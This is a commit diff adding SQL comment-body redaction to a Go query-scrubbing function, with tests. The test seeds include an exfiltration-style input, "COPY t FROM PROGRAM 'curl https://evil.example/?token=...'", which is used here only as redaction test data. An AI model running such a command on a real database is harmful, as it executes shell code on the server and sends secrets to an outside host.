fix(conn): scrub SQL comment bodies in ScrubQueryText

internal/conn/redact.go

@@ -3,6 +3,7 @@ package conn
 import (
 	"net/url"
 	"regexp"
+	"strings"
 )
 
 // Privacy is enforced here, in code — not in docs. pg_stat_activity.query carries
@@ -38,13 +39,15 @@ var (
 )
 
 // ScrubQueryText removes literal values from raw SQL so no customer data can
-// leave the machine via a query string. Order matters: strip quoted regions
-// first (they may contain emails/uuids/numbers we'd otherwise leave a trace of),
-// then the remaining bare identifiers-shaped-like-PII, then loose numbers.
+// leave the machine via a query string. Order matters: strip comments first
+// (free text no shape regex catches), then quoted regions (they may contain
+// emails/uuids/numbers we'd otherwise leave a trace of), then the remaining bare
+// identifiers-shaped-like-PII, then loose numbers.
 func ScrubQueryText(sql string) string {
 	if sql == "" {
 		return sql
 	}
+	sql = scrubComments(sql)
 	// Literal replacement, NOT ReplaceAllString: the latter applies Expand
 	// semantics, so "$REDACTED$" would be parsed as a reference to a (nonexistent)
 	// capture group named "REDACTED" plus a trailing "$", both expanding to empty
@@ -64,6 +67,116 @@ func ScrubQueryText(sql string) string {
 	return s
 }
 
+// scrubComments replaces every comment body with "?" (`-- ?`, `/* ? */`). A lexer,
+// not a regex: `--` inside a string isn't a comment, and `'` inside a comment
+// isn't a string. An unterminated comment runs to the end — over-redacting.
+func scrubComments(s string) string {
+	var b strings.Builder
+	b.Grow(len(s))
+	n := len(s)
+	for i := 0; i < n; {
+		c := s[i]
+		switch {
+		case c == '-' && i+1 < n && s[i+1] == '-':
+			j := i + 2
+			for j < n && s[j] != '\n' && s[j] != '\r' {
+				j++
+			}
+			b.WriteString("-- ?")
+			i = j
+		case c == '/' && i+1 < n && s[i+1] == '*':
+			depth, j := 1, i+2
+			for j < n && depth > 0 {
+				switch {
+				case s[j] == '/' && j+1 < n && s[j+1] == '*':
+					depth++
+					j += 2
+				case s[j] == '*' && j+1 < n && s[j+1] == '/':
+					depth--
+					j += 2
+				default:
+					j++
+				}
+			}
+			b.WriteString("/* ? */")
+			i = j
+		case c == '\'':
+			escapes := i > 0 && (s[i-1] == 'E' || s[i-1] == 'e') && (i < 2 || !isIdentChar(s[i-2]))
+			j := i + 1
+			for j < n {
+				if escapes && s[j] == '\\' {
+					j += 2
+					continue
+				}
+				if s[j] == '\'' {
+					if j+1 < n && s[j+1] == '\'' { // '' escapes a quote
+						j += 2
+						continue
+					}
+					j++
+					break
+				}
+				j++
+			}
+			j = min(j, n)
+			b.WriteString(s[i:j])
+			i = j
+		case c == '"':
+			j := i + 1
+			for j < n {
+				if s[j] == '"' {
+					if j+1 < n && s[j+1] == '"' {
+						j += 2
+						continue
+					}
+					j++
+					break
+				}
+				j++
+			}
+			j = min(j, n)
+			b.WriteString(s[i:j])
+			i = j
+		case c == '$' && (i == 0 || !isIdentChar(s[i-1])):
+			if tag, ok := dollarTag(s[i:]); ok {
+				end := strings.Index(s[i+len(tag):], tag)
+				j := n
+				if end >= 0 {
+					j = i + len(tag) + end + len(tag)
+				}
+				b.WriteString(s[i:j])
+				i = j
+				continue
+			}
+			b.WriteByte(c)
+			i++
+		default:
+			b.WriteByte(c)
+			i++
+		}
+	}
+	return b.String()
+}
+
+// dollarTag returns the $tag$ (or $$) opening s. `$1` is a parameter, not a quote.
+func dollarTag(s string) (string, bool) {
+	for j := 1; j < len(s); j++ {
+		switch c := s[j]; {
+		case c == '$':
+			return s[:j+1], true
+		case c == '_' || c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' || c >= 0x80:
+		case c >= '0' && c <= '9' && j > 1:
+		default:
+			return "", false
+		}
+	}
+	return "", false
+}
+
+func isIdentChar(c byte) bool {
+	return c == '_' || c == '$' || c >= '0' && c <= '9' || c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' || c >= 0x80
+}
+
 // RedactConnString returns a connection string safe to print in logs, errors,
 // and JSON: the password is replaced with "REDACTED". Accepts URL form
 // (postgres://user:pass@host/db, or ?password=… in the query) and best-effort

internal/conn/redact_test.go

@@ -88,10 +88,23 @@ func FuzzScrubQueryText(f *testing.F) {
 		"ALTER ROLE app WITH ENCRYPTED PASSWORD 'md5abc'",
 		"COPY t FROM PROGRAM 'curl https://evil.example/?token=abcd'",
 		"DO $$ BEGIN PERFORM login('root','p@ss') END $$",
+		// Comment bodies (#54).
+		"SELECT 1 -- api_key=sk_live_abc", "SELECT 1 /* a /* b */ c */", "SELECT '--' -- don't",
 	} {
 		f.Add(s)
 	}
 	f.Fuzz(func(t *testing.T, in string) {
+		// Whatever a comment holds, only the marker survives.
+		if !strings.ContainsAny(in, "\r\n") {
+			if got := ScrubQueryText("SELECT 1 -- " + in); got != "SELECT ? -- ?" {
+				t.Errorf("line-comment body survived: %q -> %q", in, got)
+			}
+		}
+		if !strings.Contains(in, "*/") && !strings.Contains(in, "/*") {
+			if got := ScrubQueryText("SELECT 1 /* " + in + " */"); got != "SELECT ? /* ? */" {
+				t.Errorf("block-comment body survived: %q -> %q", in, got)
+			}
+		}
 		out := ScrubQueryText(in)
 		if m := reEmail.FindString(out); m != "" {
 			t.Errorf("email-shaped substring survived: %q -> %q (%q)", in, out, m)
@@ -123,6 +136,38 @@ func TestScrubQueryText_placeholdersAndUtilityLiterals(t *testing.T) {
 	}
 }
 
+// #54: comment bodies are free text no shape regex catches.
+func TestScrubQueryText_comments(t *testing.T) {
+	cases := []struct{ name, in, want string }{
+		{"line comment secret", "SELECT * FROM users WHERE id = $1 -- api_key=sk_live_abcDEFghiJKL",
+			"SELECT * FROM users WHERE id = $1 -- ?"},
+		{"block comment name", "SELECT 1 /* customer: Jane Doe */", "SELECT ? /* ? */"},
+		{"sqlcommenter tags", "SELECT 1 /* controller='users',user='jane.doe' */", "SELECT ? /* ? */"},
+		{"nested block", "SELECT 1 /* outer /* inner secret */ still comment */ FROM t", "SELECT ? /* ? */ FROM t"},
+		{"line ends at newline", "SELECT a -- token ghp_x\nFROM t", "SELECT a -- ?\nFROM t"},
+		{"unterminated block over-redacts", "SELECT a FROM t /* secret", "SELECT a FROM t /* ? */"},
+		{"-- inside a literal", "SELECT '--x' AS a, b FROM t", "SELECT '?' AS a, b FROM t"},
+		{"-- inside a quoted identifier", `SELECT "a--b" FROM t`, `SELECT "a--b" FROM t`},
+		{"apostrophe inside a comment", "SELECT a -- don't\nFROM t WHERE b = 'secret'", "SELECT a -- ?\nFROM t WHERE b = '?'"},
+		{"dollar-quoted body", "DO $$ BEGIN -- c\n END $$", "DO $REDACTED$"},
+		{"placeholder is not a dollar quote", "SELECT $1 -- tok\n, $2", "SELECT $1 -- ?\n, $2"},
+	}
+	for _, c := range cases {
+		t.Run(c.name, func(t *testing.T) {
+			if got := ScrubQueryText(c.in); got != c.want {
+				t.Errorf("\n in:   %q\n got:  %q\n want: %q", c.in, got, c.want)
+			}
+		})
+	}
+}
+
+func TestScrubComments_EStringEscape(t *testing.T) {
+	in := `SELECT E'it\'s -- x', c FROM t`
+	if got := scrubComments(in); got != in {
+		t.Errorf("`--` inside an E'' string is not a comment: %q -> %q", in, got)
+	}
+}
+
 func TestScrubQueryText_keepsShape(t *testing.T) {
 	out := ScrubQueryText("SELECT id, name FROM orders WHERE customer_id = 99 AND status = 'paid'")
 	for _, want := range []string{"SELECT", "orders", "customer_id", "status"} {